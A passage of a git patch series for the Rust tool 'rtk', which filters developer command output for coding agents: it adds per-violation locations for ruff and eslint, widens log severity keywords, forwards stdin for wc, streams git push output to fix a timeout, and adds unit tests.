a/src/cmds/python/ruff_cmd.rs +++ b/src/cmds/python/ruff_cmd.rs @@ -9,9 +9,7 @@ use std::collections::HashMap; #[derive(Debug, Deserialize)] struct RuffLocation { - #[allow(dead_code)] row: usize, - #[allow(dead_code)] column: usize, } @@ -24,9 +22,7 @@ struct RuffFix { #[derive(Debug, Deserialize)] struct RuffDiagnostic { code: String, - #[allow(dead_code)] message: String, - #[allow(dead_code)] location: RuffLocation, #[allow(dead_code)] end_location: Option, @@ -185,6 +181,28 @@ pub fn filter_ruff_check_json(output: &str) -> String { result.push_str(&format!("\n... +{} more files\n", file_counts.len() - 10)); } + // List individual violations with file:line:col so an agent can navigate + // straight to each one — the rule/file grouping above is a summary, not a + // substitute for locations. + const MAX_VIOLATIONS: usize = 50; + result.push_str("\nViolations:\n"); + for diag in diagnostics.iter().take(MAX_VIOLATIONS) { + result.push_str(&format!( + " {}:{}:{} {} {}\n", + compact_path(&diag.filename), + diag.location.row, + diag.location.column, + diag.code, + truncate(diag.message.trim(), 100), + )); + } + if diagnostics.len() > MAX_VIOLATIONS { + result.push_str(&format!( + " ... +{} more violations\n", + diagnostics.len() - MAX_VIOLATIONS + )); + } + if fixable_count > 0 { result.push_str(&format!( "\n[hint] Run `ruff check --fix` to auto-fix {} issues\n", diff --git a/src/cmds/system/constants.rs b/src/cmds/system/constants.rs index 2454f5299c..bd8c496378 100644 --- a/src/cmds/system/constants.rs +++ b/src/cmds/system/constants.rs @@ -14,8 +14,6 @@ pub const NOISE_DIRS: &[&str] = &[ ".tox", ".venv", "venv", - "env", - ".env", "coverage", ".nyc_output", ".DS_Store", diff --git a/src/cmds/system/log_cmd.rs b/src/cmds/system/log_cmd.rs index fd9942d0b1..cb6a66bb4f 100644 --- a/src/cmds/system/log_cmd.rs +++ b/src/cmds/system/log_cmd.rs @@ -81,17 +81,24 @@ fn analyze_logs(content: &str) -> String { let normalized = normalize_log_line(line, &TIMESTAMP_RE, &UUID_RE, &HEX_RE, &NUM_RE, &PATH_RE); - // Categorize + // Categorize. The error bucket also covers severity labels above ERROR + // (CRITICAL, FATAL, ALERT, EMERGENCY, SEVERE, PANIC) — these are the most + // important lines in a log and were previously dropped as noise when they + // didn't literally contain "error". if line_lower.contains("error") || line_lower.contains("fatal") || line_lower.contains("panic") + || line_lower.contains("critical") + || line_lower.contains("alert") + || line_lower.contains("emerg") + || line_lower.contains("severe") { let count = error_counts.entry(normalized.clone()).or_insert(0); if *count == 0 { unique_errors.push(line.to_string()); } *count += 1; - } else if line_lower.contains("warn") { + } else if line_lower.contains("warn") || line_lower.contains("notice") { let count = warn_counts.entry(normalized.clone()).or_insert(0); if *count == 0 { unique_warnings.push(line.to_string()); diff --git a/src/cmds/system/pipe_cmd.rs b/src/cmds/system/pipe_cmd.rs index fe569a597d..ebfbb1f5c3 100644 --- a/src/cmds/system/pipe_cmd.rs +++ b/src/cmds/system/pipe_cmd.rs @@ -16,6 +16,7 @@ pub fn resolve_filter(name: &str) -> Option String> { "git-log" => Some(git_log_wrapper), "git-diff" => Some(git_diff_wrapper), "git-status" => Some(crate::cmds::git::git::format_status_output), + "log" => Some(crate::cmds::system::log_cmd::run_stdin_str), "mypy" => Some(crate::cmds::python::mypy_cmd::filter_mypy_output), "ruff-check" => Some(crate::cmds::python::ruff_cmd::filter_ruff_check_json), "ruff-format" => Some(crate::cmds::python::ruff_cmd::filter_ruff_format), @@ -220,7 +221,7 @@ pub fn run(filter_name: Option<&str>, passthrough: bool) -> Result<()> { anyhow::anyhow!( "Unknown filter '{}'. Available: cargo-test, pytest, go-test, go-build, \ tsc, vitest, grep, rg, find, fd, git-log, git-diff, git-status, \ - mypy, ruff-check, ruff-format, prettier", + log, mypy, ruff-check, ruff-format, prettier", name ) })?, diff --git a/src/cmds/system/wc_cmd.rs b/src/cmds/system/wc_cmd.rs index dcfe98b39f..78c3924411 100644 --- a/src/cmds/system/wc_cmd.rs +++ b/src/cmds/system/wc_cmd.rs @@ -21,12 +21,22 @@ pub fn run(args: &[String], verbose: u8) -> Result { } let mode = detect_mode(args); + + // No file operands → wc reads from stdin. Forward rtk's stdin to the child + // so `cat file | rtk wc` counts the piped data instead of reporting zero. + let reads_stdin = !args.iter().any(|a| !a.starts_with('-')); + let opts = if reads_stdin { + RunOptions::stdout_only().inherit_stdin() + } else { + RunOptions::stdout_only() + }; + runner::run_filtered( cmd, "wc", &args.join(" "), |stdout| filter_wc_output(stdout, &mode), - RunOptions::stdout_only(), + opts, ) } diff --git a/src/core/runner.rs b/src/core/runner.rs index f127a6081d..17f0997da0 100644 --- a/src/core/runner.rs +++ b/src/core/runner.rs @@ -20,6 +20,10 @@ pub struct RunOptions<'a> { pub filter_stdout_only: bool, pub skip_filter_on_failure: bool, pub no_trailing_newline: bool, + /// Forward rtk's own stdin to the child process. Needed for commands that + /// can read from a pipe (e.g. `cat file | rtk wc`); without it the child + /// gets an empty stdin and reports zero. + pub inherit_stdin: bool, } impl<'a> RunOptions<'a> { @@ -51,6 +55,11 @@ impl<'a> RunOptions<'a> { self.no_trailing_newline = true; self } + + pub fn inherit_stdin(mut self) -> Self { + self.inherit_stdin = true; + self + } } pub enum RunMode<'a> { @@ -71,7 +80,12 @@ pub fn run( match mode { RunMode::Filtered(filter_fn) => { - let result = stream::run_streaming(&mut cmd, StdinMode::Null, FilterMode::CaptureOnly) + let stdin_mode = if opts.inherit_stdin { + StdinMode::Inherit + } else { + StdinMode::Null + }; + let result = stream::run_streaming(&mut cmd, stdin_mode, FilterMode::CaptureOnly) .with_context(|| format!("Failed to run {}", tool_name))?; let exit_code = result.exit_code; diff --git a/src/main.rs b/src/main.rs index 25c70dcb06..81619b7be6 100644 --- a/src/main.rs +++ b/src/main.rs @@ -629,6 +629,9 @@ enum Commands { /// Read stdin, apply filter, print filtered output (Unix pipe mode) Pipe { + /// Filter name as a positional argument (e.g. `rtk pipe log`) + filter_name: Option, + /// Filter name (cargo-test, pytest, grep, find, git-log, etc.) #[arg(short, long)] filter: Option, @@ -2195,10 +2198,12 @@ fn run_cli() -> Result { } Commands::Pipe { + filter_name, filter, passthrough, } => { - pipe_cmd::run(filter.as_deref(), passthrough)?; + let name = filter.or(filter_name); + pipe_cmd::run(name.as_deref(), passthrough)?; 0 } diff --git a/src/parser/formatter.rs b/src/parser/formatter.rs index 6fc9022ef1..aca8164575 100644 --- a/src/parser/formatter.rs +++ b/src/parser/formatter.rs @@ -45,7 +45,13 @@ pub trait TokenFormatter { impl TokenFormatter for TestResult { fn format_compact(&self) -> String { - let mut lines = vec![format!("PASS ({}) FAIL ({})", self.passed, self.failed)]; + // Always surface skipped/pending tests — hiding them lets coverage gaps + // (test.skip / it.skip / xfail) accumulate invisibly. + let mut summary = format!("PASS ({}) FAIL ({})", self.passed, self.failed); + if self.skipped > 0 { + summary.push_str(&format!(" skipped ({})", self.skipped)); + } + let mut lines = vec![summary]; if !self.failures.is_empty() { lines.push(String::new()); @@ -112,6 +118,26 @@ impl TokenFormatter for TestResult { impl TokenFormatter for DependencyState { fn format_compact(&self) -> String { + // A plain package listing (`pnpm list` / `npm ls`) carries no upgrade + // info — every dep has `latest_version == None`. Reporting "All packages + // up-to-date" there is a false positive that hides the entire list, so + // we render the actual packages instead. + let is_listing = self.outdated_count == 0 + && !self.dependencies.is_empty() + && self.dependencies.iter().all(|d| d.latest_version.is_none()); + if is_listing { + let total = self.total_packages.max(self.dependencies.len()); + let mut lines = vec![format!("{} packages", total)]; + for dep in self.dependencies.iter().take(50) { + let dev = if dep.dev_dependency { " (dev)" } else { "" }; + lines.push(format!(" {} {}{}", dep.name, dep.current_version, dev)); + } + if self.dependencies.len() > 50 { + lines.push(format!(" ... +{} more", self.dependencies.len() - 50)); + } + return lines.join("\n"); + } + if self.outdated_count == 0 { return "All packages up-to-date".to_string(); } From 16803a6cce57598ffcb8844bf71ba38399870565 Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Fri, 15 May 2026 15:08:30 +0200 Subject: [PATCH 117/204] chore(filters): remove filter-level annotations and restore compose logs tail arg --- src/cmds/git/git.rs | 16 ++++++-------- src/cmds/js/lint_cmd.rs | 49 ++++++++++++++--------------------------- src/main.rs | 7 +----- 3 files changed, 24 insertions(+), 48 deletions(-) diff --git a/src/cmds/git/git.rs b/src/cmds/git/git.rs index 45ec9cb498..b98aedf1b0 100644 --- a/src/cmds/git/git.rs +++ b/src/cmds/git/git.rs @@ -1503,16 +1503,14 @@ fn run_fetch(args: &[String], verbose: u8, global_args: &[String]) -> Result, result: &CaptureResult) -> String { match subcommand { None | Some("push") | Some("save") => { - // Pass git's own message through — it distinguishes "Saved working - // directory and index state WIP on : " from - // "No local changes to save". Collapsing both to "ok" hides whether - // anything was actually stashed (and which ref to pop later). - let out = result.combined(); - let trimmed = out.trim(); - if trimmed.is_empty() { - "ok stashed".to_string() + // A successful stash collapses to "ok stashed" (the WIP ref/sha git + // prints isn't needed to `git stash pop`). But a no-op must NOT look + // like success — pass git's "No local changes to save" through so the + // agent can tell nothing was stashed. + if result.combined().contains("No local changes") { + "No local changes to save".to_string() } else { - trimmed.to_string() + "ok stashed".to_string() } } Some(sub) => format!("ok stash {}", sub), diff --git a/src/cmds/js/lint_cmd.rs b/src/cmds/js/lint_cmd.rs index d60ed155bb..04ea8a5dbf 100644 --- a/src/cmds/js/lint_cmd.rs +++ b/src/cmds/js/lint_cmd.rs @@ -281,44 +281,27 @@ fn filter_eslint_json(output: &str) -> String { result.push('\n'); } - // Per-file violation list with line:col — the rule rollup above is a - // summary, but an agent fixing lint errors needs the exact locations. - // Capped so a huge codebase still compresses; the rollup carries the rest. - const MAX_VIOLATIONS: usize = 60; - let total_messages: usize = results.iter().map(|r| r.messages.len()).sum(); - result.push_str("Violations:\n"); - let mut shown = 0; - 'outer: for (file_result, count) in by_file.iter().take(10) { - result.push_str(&format!( - " {} ({}):\n", - compact_path(&file_result.file_path), - count - )); + // Show top files with most issues, plus the top rules in each + result.push_str("Top files:\n"); + for (file_result, count) in by_file.iter().take(10) { + let short_path = compact_path(&file_result.file_path); + result.push_str(&format!(" {} ({} issues)\n", short_path, count)); + + let mut file_rules: HashMap = HashMap::new(); for msg in &file_result.messages { - if shown >= MAX_VIOLATIONS { - result.push_str(" ...\n"); - break 'outer; + if let Some(rule) = &msg.rule_id { + *file_rules.entry(rule.clone()).or_insert(0) += 1; } - let sev = if msg.severity >= 2 { "error" } else { "warning" }; - let rule = msg.rule_id.as_deref().unwrap_or("-"); - result.push_str(&format!( - " {}:{} {} {} {}\n", - msg.line, - msg.column, - sev, - rule, - truncate(msg.message.trim(), 100), - )); - shown += 1; + } + let mut file_rule_counts: Vec<_> = file_rules.iter().collect(); + file_rule_counts.sort_by(|a, b| b.1.cmp(a.1)); + for (rule, count) in file_rule_counts.iter().take(3) { + result.push_str(&format!(" {} ({})\n", rule, count)); } } + if by_file.len() > 10 { - result.push_str(&format!(" ... +{} more files\n", by_file.len() - 10)); - } else if total_messages > MAX_VIOLATIONS { - result.push_str(&format!( - " ... +{} more violations\n", - total_messages - MAX_VIOLATIONS - )); + result.push_str(&format!("\n... +{} more files\n", by_file.len() - 10)); } result.trim().to_string() diff --git a/src/main.rs b/src/main.rs index 81619b7be6..25c70dcb06 100644 --- a/src/main.rs +++ b/src/main.rs @@ -629,9 +629,6 @@ enum Commands { /// Read stdin, apply filter, print filtered output (Unix pipe mode) Pipe { - /// Filter name as a positional argument (e.g. `rtk pipe log`) - filter_name: Option, - /// Filter name (cargo-test, pytest, grep, find, git-log, etc.) #[arg(short, long)] filter: Option, @@ -2198,12 +2195,10 @@ fn run_cli() -> Result { } Commands::Pipe { - filter_name, filter, passthrough, } => { - let name = filter.or(filter_name); - pipe_cmd::run(name.as_deref(), passthrough)?; + pipe_cmd::run(filter.as_deref(), passthrough)?; 0 } From f6b28c292b517d55733ad1d3868f320b017901a5 Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Fri, 15 May 2026 17:01:01 +0200 Subject: [PATCH 118/204] fix(filters): add test for aggressive filter batch fix --- src/cmds/git/git.rs | 15 +++++++++++++++ src/cmds/python/ruff_cmd.rs | 2 ++ src/cmds/system/log_cmd.rs | 12 ++++++++++++ src/cmds/system/pipe_cmd.rs | 5 +++++ src/parser/formatter.rs | 29 +++++++++++++++++++++++++++++ 5 files changed, 63 insertions(+) diff --git a/src/cmds/git/git.rs b/src/cmds/git/git.rs index b98aedf1b0..ba1b5922bb 100644 --- a/src/cmds/git/git.rs +++ b/src/cmds/git/git.rs @@ -2765,6 +2765,21 @@ no changes added to commit (use "git add" and/or "git commit -a") ); } + #[test] + fn test_extract_detached_head_returns_line() { + let raw = "HEAD detached at abc1234\nnothing to commit, working tree clean\n"; + assert_eq!( + extract_detached_head(raw), + Some("HEAD detached at abc1234".to_string()) + ); + } + + #[test] + fn test_extract_detached_head_on_branch_is_none() { + let raw = "On branch main\nnothing to commit, working tree clean\n"; + assert!(extract_detached_head(raw).is_none()); + } + #[test] fn test_filter_log_output_body_omission_indicator() { // Commit with 6 meaningful body lines: only 3 shown, must signal "+3 lines omitted" diff --git a/src/cmds/python/ruff_cmd.rs b/src/cmds/python/ruff_cmd.rs index f641d9f039..c13ac0e9e8 100644 --- a/src/cmds/python/ruff_cmd.rs +++ b/src/cmds/python/ruff_cmd.rs @@ -364,6 +364,8 @@ mod tests { assert!(result.contains("E501")); assert!(result.contains("main.py")); assert!(result.contains("utils.py")); + assert!(result.contains("Violations:"), "Violations section missing"); + assert!(result.contains("1:8"), "line:col location missing"); } #[test] diff --git a/src/cmds/system/log_cmd.rs b/src/cmds/system/log_cmd.rs index cb6a66bb4f..bd76a73b7a 100644 --- a/src/cmds/system/log_cmd.rs +++ b/src/cmds/system/log_cmd.rs @@ -246,6 +246,18 @@ mod tests { assert!(result.contains("ERRORS")); } + #[test] + fn test_analyze_logs_extended_severity_keywords() { + let logs = "2024-01-01 10:00:00 CRITICAL: disk full\n\ + 2024-01-01 10:00:01 ALERT: memory pressure\n\ + 2024-01-01 10:00:02 emerg: system shutdown imminent\n\ + 2024-01-01 10:00:03 SEVERE: data corruption detected\n\ + 2024-01-01 10:00:04 notice: config reloaded\n"; + let result = analyze_logs(logs); + assert!(result.contains("ERRORS"), "critical/alert/emerg/severe should count as errors"); + assert!(result.contains("WARNINGS"), "notice should count as warning"); + } + #[test] fn test_analyze_logs_multibyte() { let logs = format!( diff --git a/src/cmds/system/pipe_cmd.rs b/src/cmds/system/pipe_cmd.rs index ebfbb1f5c3..dcbc52cad9 100644 --- a/src/cmds/system/pipe_cmd.rs +++ b/src/cmds/system/pipe_cmd.rs @@ -301,6 +301,11 @@ mod tests { assert!(resolve_filter("git-status").is_some()); } + #[test] + fn test_resolve_filter_log() { + assert!(resolve_filter("log").is_some()); + } + #[test] fn test_resolve_filter_unknown_returns_none() { assert!(resolve_filter("nonexistent-filter").is_none()); diff --git a/src/parser/formatter.rs b/src/parser/formatter.rs index aca8164575..225fd6f01c 100644 --- a/src/parser/formatter.rs +++ b/src/parser/formatter.rs @@ -224,6 +224,35 @@ mod tests { } } + fn make_dep(name: &str, version: &str, latest: Option<&str>) -> Dependency { + Dependency { + name: name.to_string(), + current_version: version.to_string(), + latest_version: latest.map(str::to_string), + wanted_version: None, + dev_dependency: false, + } + } + + #[test] + fn test_dependency_state_plain_listing_shows_packages() { + let state = DependencyState { + total_packages: 2, + outdated_count: 0, + dependencies: vec![ + make_dep("react", "18.0.0", None), + make_dep("typescript", "5.0.0", None), + ], + }; + let out = state.format_compact(); + assert!(out.contains("react"), "package name missing"); + assert!(out.contains("typescript"), "package name missing"); + assert!( + !out.contains("up-to-date"), + "false positive: plain listing should not say up-to-date" + ); + } + // RED: format_compact must show the full error message, not just 2 lines. // Playwright errors contain the expected/received diff and call log starting // at line 3+. Truncating to 2 lines leaves the agent with no debug info. From be5178377fd7c155f70fda94dd134aa5a7b9361d Mon Sep 17 00:00:00 2001 From: Ousama Ben Younes Date: Thu, 14 May 2026 11:51:15 +0000 Subject: [PATCH 119/204] fix(git): stream push output via FilterMode::Streaming (#963) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit ## Problem (#963) `rtk git push` reportedly times out: users see `bash tool terminated command after exceeding timeout 30000 ms` while plain `git push` to the same remote completes fine. P1-critical because every Claude Code git push goes through rtk. ## Root cause `run_push` used `cmd.stdin(Stdio::inherit()).output()`. `Command::output()` captures both stdout and stderr until the child exits. Git push prints its progress (`Counting objects` / `Compressing objects` / `Writing objects`) to stderr and may prompt for SSH passphrases or HTTPS credentials. With stderr captured, Claude Code's bash tool saw zero output for 30+ seconds and killed the command — exactly the 30000 ms message in the issue. ## Fix Rewrite `run_push` on top of the streaming infrastructure that already exists for this exact purpose (`stream::run_streaming` + `FilterMode::Streaming`, added in 0.37.0). Add a counterpart to `BlockStreamFilter` in `src/core/stream.rs`: `LineStreamFilter`. Where `BlockStreamFilter` defaults to DROP and emits only collected blocks, `LineStreamFilter` defaults to KEEP and lets handlers opt into dropping noise. Trait surface mirrors `BlockHandler`: - `should_skip(&mut self, line: &str) -> bool` — default false - `observe_line(&mut self, line: &str)` — default no-op - `format_summary(&self, exit_code, raw) -> Option` This lets future streaming commands reuse the line-oriented pattern. `GitPushLineHandler` then becomes a tiny `LineHandler` impl: - `should_skip` drops the high-volume progress phases (Enumerating / Counting / Compressing / Writing objects, Delta compression, Total) and blank lines. - `observe_line` captures the up-to-date sentinel and the first ref update target (e.g. `master`) for the summary. - `format_summary` emits `ok ` / `ok (up-to-date)` / `ok` on success; nothing on failure (raw error lines already flowed through). Stdin is inherited (`StdinMode::Inherit`) so SSH passphrase and HTTPS credential prompts still reach the user. Tracking now records the real raw output and the filtered output. ## Test plan - [x] `cargo fmt --all -- --check` - [x] `cargo clippy --all-targets -- -D warnings` — clean - [x] `cargo test --all` — 1880 passed, 0 failed, 6 ignored - Six unit tests cover the push handler: progress-prefix drop, up-to-date summary, remote message passthrough, no-summary-on-failure, first-ref-wins, and token-savings (>=60% on a representative payload). - Four unit tests cover the new `LineStreamFilter` trait: default-keep-all, skip-drops-matching, summary-propagates-exit-code, observe-only-called-for-kept-lines. ## Notes - Behaviour change: users now see git's native output line-by-line (with progress phases stripped) plus a final `ok ` summary, instead of just the compact summary. This matches plain `git push` more closely and is what the issue reporter expects. - No regression for other filters: `run_pull`, `run_fetch`, `run_clone` are untouched; only `run_push` is modified. Closes #963 🤖 Generated with [Claude Code](https://claude.com/claude-code) --- _Vibe Coded by Ousama Ben Younes_ _Developed With Ora Studio (Claude Code)_ Co-Authored-By: Claude Opus 4.7 (1M context) --- src/cmds/git/git.rs | 242 +++++++++++++++++++++++++++++++++++--------- src/core/stream.rs | 136 +++++++++++++++++++++++++ 2 files changed, 329 insertions(+), 49 deletions(-) diff --git a/src/cmds/git/git.rs b/src/cmds/git/git.rs index ae71b24d04..20295d3ed6 100644 --- a/src/cmds/git/git.rs +++ b/src/cmds/git/git.rs @@ -1,6 +1,8 @@ //! Filters git output — log, status, diff, and more — keeping just the essential info. -use crate::core::stream::{exec_capture, CaptureResult}; +use crate::core::stream::{ + self, exec_capture, CaptureResult, FilterMode, LineHandler, LineStreamFilter, StdinMode, +}; use crate::core::tracking; use crate::core::utils::{exit_code_from_output, exit_code_from_status, resolved_command}; use anyhow::{Context, Result}; @@ -1072,6 +1074,62 @@ fn run_commit(args: &[String], verbose: u8, global_args: &[String]) -> Result, +} + +impl LineHandler for GitPushLineHandler { + fn should_skip(&mut self, line: &str) -> bool { + if line.is_empty() { + return true; + } + let trimmed = line.trim_start(); + GIT_PUSH_NOISE_PREFIXES + .iter() + .any(|p| trimmed.starts_with(p)) + } + + fn observe_line(&mut self, line: &str) { + if line.contains("Everything up-to-date") { + self.up_to_date = true; + } + if self.pushed_ref.is_none() { + if let Some(idx) = line.find(" -> ") { + let after = &line[idx + 4..]; + if let Some(dest) = after.split_whitespace().next() { + self.pushed_ref = Some(dest.to_string()); + } + } + } + } + + fn format_summary(&self, exit_code: i32, _raw: &str) -> Option { + if exit_code != 0 { + return None; + } + let summary = if self.up_to_date { + "ok (up-to-date)".to_string() + } else if let Some(dest) = &self.pushed_ref { + format!("ok {}", dest) + } else { + "ok".to_string() + }; + Some(format!("{}\n", summary)) + } +} + fn run_push(args: &[String], verbose: u8, global_args: &[String]) -> Result { let timer = tracking::TimedExecution::start(); @@ -1085,56 +1143,23 @@ fn run_push(args: &[String], verbose: u8, global_args: &[String]) -> Result cmd.arg(arg); } - let output = cmd - .stdin(Stdio::inherit()) - .output() - .context("Failed to run git push")?; - - let stderr = String::from_utf8_lossy(&output.stderr); - let stdout = String::from_utf8_lossy(&output.stdout); - let raw = format!("{}{}", stdout, stderr); - - if output.status.success() { - let compact = if stderr.contains("Everything up-to-date") { - "ok (up-to-date)".to_string() - } else { - let mut push_info = String::new(); - for line in stderr.lines() { - if line.contains("->") { - let parts: Vec<&str> = line.split_whitespace().collect(); - if parts.len() >= 3 { - push_info = format!("ok {}", parts[parts.len() - 1]); - break; - } - } - } - if !push_info.is_empty() { - push_info - } else { - "ok".to_string() - } - }; - - println!("{}", compact); + let cmd_label = format!("git push {}", args.join(" ")); + let filter = LineStreamFilter::new(GitPushLineHandler::default()); + let result = stream::run_streaming( + &mut cmd, + StdinMode::Inherit, + FilterMode::Streaming(Box::new(filter)), + ) + .context("Failed to run git push")?; - timer.track( - &format!("git push {}", args.join(" ")), - &format!("rtk git push {}", args.join(" ")), - &raw, - &compact, - ); - } else { - eprintln!("FAILED: git push"); - if !stderr.trim().is_empty() { - eprintln!("{}", stderr); - } - if !stdout.trim().is_empty() { - eprintln!("{}", stdout); - } - return Ok(exit_code_from_output(&output, "git push")); - } + timer.track( + &cmd_label, + &format!("rtk {}", cmd_label), + &result.raw, + &result.filtered, + ); - Ok(0) + Ok(result.exit_code) } fn run_pull(args: &[String], verbose: u8, global_args: &[String]) -> Result { @@ -2755,4 +2780,123 @@ no changes added to commit (use "git add" and/or "git commit -a") result ); } + + fn run_push_filter(input: &str, exit_code: i32) -> String { + use crate::core::stream::StreamFilter; + let mut f = LineStreamFilter::new(GitPushLineHandler::default()); + let mut out = String::new(); + for line in input.lines() { + if let Some(s) = f.feed_line(line) { + out.push_str(&s); + } + } + out.push_str(&f.flush()); + if let Some(s) = f.on_exit(exit_code, input) { + out.push_str(&s); + } + out + } + + #[test] + fn test_push_filter_drops_progress_phases() { + let input = "\ +Enumerating objects: 5, done. +Counting objects: 100% (5/5), done. +Delta compression using up to 8 threads +Compressing objects: 100% (3/3), done. +Writing objects: 100% (3/3), 312 bytes | 312.00 KiB/s, done. +Total 3 (delta 2), reused 0 (delta 0) +To https://github.com/foo/bar.git + abc1234..def5678 master -> master +"; + let result = run_push_filter(input, 0); + for prefix in GIT_PUSH_NOISE_PREFIXES { + assert!( + !result.contains(prefix), + "noise prefix '{}' leaked through, got: {}", + prefix, + result + ); + } + assert!(result.contains("To https://github.com/foo/bar.git")); + assert!(result.contains("master -> master")); + assert!(result.ends_with("ok master\n"), "got: {}", result); + } + + #[test] + fn test_push_filter_up_to_date_summary() { + let input = "Everything up-to-date\n"; + let result = run_push_filter(input, 0); + assert!(result.contains("Everything up-to-date")); + assert!(result.ends_with("ok (up-to-date)\n"), "got: {}", result); + } + + #[test] + fn test_push_filter_passes_remote_messages_through() { + let input = "\ +remote: Resolving deltas: 100% (2/2), completed with 2 local objects. +remote: GitHub found 1 vulnerability on foo/bar's default branch (1 moderate). +To https://github.com/foo/bar.git + abc1234..def5678 feature -> feature +"; + let result = run_push_filter(input, 0); + assert!(result.contains("remote: Resolving deltas")); + assert!(result.contains("remote: GitHub found 1 vulnerability")); + assert!(result.ends_with("ok feature\n"), "got: {}", result); + } + + #[test] + fn test_push_filter_no_summary_on_failure() { + let input = "\ +To https://github.com/foo/bar.git + ! [rejected] master -> master (non-fast-forward) +error: failed to push some refs to 'https://github.com/foo/bar.git' +"; + let result = run_push_filter(input, 1); + assert!(result.contains("[rejected]")); + assert!(result.contains("error: failed to push")); + assert!( + !result.contains("ok "), + "summary leaked on failure, got: {}", + result + ); + } + + #[test] + fn test_push_filter_first_ref_wins_for_summary() { + let input = "\ +To https://github.com/foo/bar.git + abc1234..def5678 feat/a -> feat/a + 1111111..2222222 feat/b -> feat/b +"; + let result = run_push_filter(input, 0); + assert!(result.ends_with("ok feat/a\n"), "got: {}", result); + } + + #[test] + fn test_push_filter_token_savings_on_verbose_output() { + let input = "\ +Enumerating objects: 142, done. +Counting objects: 100% (142/142), done. +Delta compression using up to 8 threads +Compressing objects: 100% (88/88), done. +Writing objects: 100% (104/104), 28.50 KiB | 14.25 MiB/s, done. +Total 104 (delta 64), reused 0 (delta 0), pack-reused 0 +remote: Resolving deltas: 100% (64/64), completed with 24 local objects. +To https://github.com/foo/bar.git + abc1234..def5678 master -> master +"; + let result = run_push_filter(input, 0); + let count_tokens = |s: &str| s.split_whitespace().count(); + let input_tokens = count_tokens(input); + let output_tokens = count_tokens(&result); + let savings = 100.0 - (output_tokens as f64 / input_tokens as f64 * 100.0); + assert!( + savings >= 60.0, + "expected >=60% savings, got {:.1}% (in={}, out={})", + savings, + input_tokens, + output_tokens + ); + } } diff --git a/src/core/stream.rs b/src/core/stream.rs index f651e9dde2..02a6cfc798 100644 --- a/src/core/stream.rs +++ b/src/core/stream.rs @@ -85,6 +85,49 @@ impl StreamFilter for BlockStreamFilter { } } +/// Counterpart to [`BlockHandler`] for line-oriented streams. +/// +/// Default behaviour is KEEP — every line is emitted unchanged. Implementors +/// opt in to dropping noise via [`LineHandler::should_skip`] and may capture +/// state for the final summary via [`LineHandler::observe_line`]. +pub trait LineHandler { + fn should_skip(&mut self, _line: &str) -> bool { + false + } + + fn observe_line(&mut self, _line: &str) {} + + fn format_summary(&self, exit_code: i32, raw: &str) -> Option; +} + +pub struct LineStreamFilter { + handler: H, +} + +impl LineStreamFilter { + pub fn new(handler: H) -> Self { + Self { handler } + } +} + +impl StreamFilter for LineStreamFilter { + fn feed_line(&mut self, line: &str) -> Option { + if self.handler.should_skip(line) { + return None; + } + self.handler.observe_line(line); + Some(format!("{}\n", line)) + } + + fn flush(&mut self) -> String { + String::new() + } + + fn on_exit(&mut self, exit_code: i32, raw: &str) -> Option { + self.handler.format_summary(exit_code, raw) + } +} + #[cfg(test)] // available for command modules; currently used in tests only pub struct RegexBlockFilter { start_re: Regex, @@ -981,4 +1024,97 @@ pub(crate) mod tests { "raw_stderr should capture all stderr lines" ); } + + struct CountingLineHandler { + observed: Vec, + skip_prefixes: Vec, + summary_tag: &'static str, + } + + impl LineHandler for CountingLineHandler { + fn should_skip(&mut self, line: &str) -> bool { + self.skip_prefixes.iter().any(|p| line.starts_with(p)) + } + + fn observe_line(&mut self, line: &str) { + self.observed.push(line.to_string()); + } + + fn format_summary(&self, exit_code: i32, _raw: &str) -> Option { + Some(format!( + "{}: {} kept, exit={}\n", + self.summary_tag, + self.observed.len(), + exit_code + )) + } + } + + fn run_line_filter(filter: &mut dyn StreamFilter, input: &str, exit_code: i32) -> String { + let mut out = String::new(); + for line in input.lines() { + if let Some(s) = filter.feed_line(line) { + out.push_str(&s); + } + } + out.push_str(&filter.flush()); + if let Some(post) = filter.on_exit(exit_code, input) { + out.push_str(&post); + } + out + } + + #[test] + fn test_line_filter_defaults_keep_all() { + struct DefaultHandler; + impl LineHandler for DefaultHandler { + fn format_summary(&self, _: i32, _: &str) -> Option { + None + } + } + let mut f = LineStreamFilter::new(DefaultHandler); + let result = run_line_filter(&mut f, "a\nb\nc\n", 0); + assert_eq!(result, "a\nb\nc\n"); + } + + #[test] + fn test_line_filter_skip_drops_matching_lines() { + let handler = CountingLineHandler { + observed: Vec::new(), + skip_prefixes: vec!["NOISE:".to_string()], + summary_tag: "demo", + }; + let mut f = LineStreamFilter::new(handler); + let input = "NOISE: progress 10%\nkeep me\nNOISE: progress 90%\nalso keep\n"; + let result = run_line_filter(&mut f, input, 0); + assert!(!result.contains("NOISE:"), "got: {}", result); + assert!(result.contains("keep me\n")); + assert!(result.contains("also keep\n")); + assert!(result.contains("demo: 2 kept, exit=0\n")); + } + + #[test] + fn test_line_filter_summary_propagates_exit_code() { + let handler = CountingLineHandler { + observed: Vec::new(), + skip_prefixes: Vec::new(), + summary_tag: "demo", + }; + let mut f = LineStreamFilter::new(handler); + let result = run_line_filter(&mut f, "one\n", 42); + assert!(result.contains("exit=42"), "got: {}", result); + } + + #[test] + fn test_line_filter_observe_only_called_for_kept_lines() { + let handler = CountingLineHandler { + observed: Vec::new(), + skip_prefixes: vec!["DROP".to_string()], + summary_tag: "demo", + }; + let mut f = LineStreamFilter::new(handler); + let result = run_line_filter(&mut f, "DROP a\nDROP b\nkeep\n", 0); + // Only "keep" was observed, so summary says "1 kept" + assert!(result.contains("demo: 1 kept"), "got: {}", result); + } } From 46fe7c47293fcbef28159ddc9fcd118a344cc42b Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Sat, 16 May 2026 15:00:11 +0200 Subject: [PATCH 120/204] feat(hints): add tail hints for tee & hints + address reviews - fix signal truncation gaps + kush reviews - added a new tee and hints function to give an hint with tail (avoid re-ingest of the head) - extracted patterns in constants --- src/cmds/cloud/container.rs | 84 ++++++++++++----- src/cmds/git/git.rs | 38 ++++++-- src/cmds/js/pnpm_cmd.rs | 166 ++++++++++++++++++++++++++++++++-- src/cmds/python/pytest_cmd.rs | 12 ++- src/cmds/python/ruff_cmd.rs | 15 +-- src/cmds/system/pipe_cmd.rs | 6 +- src/core/README.md | 2 + src/core/tee.rs | 79 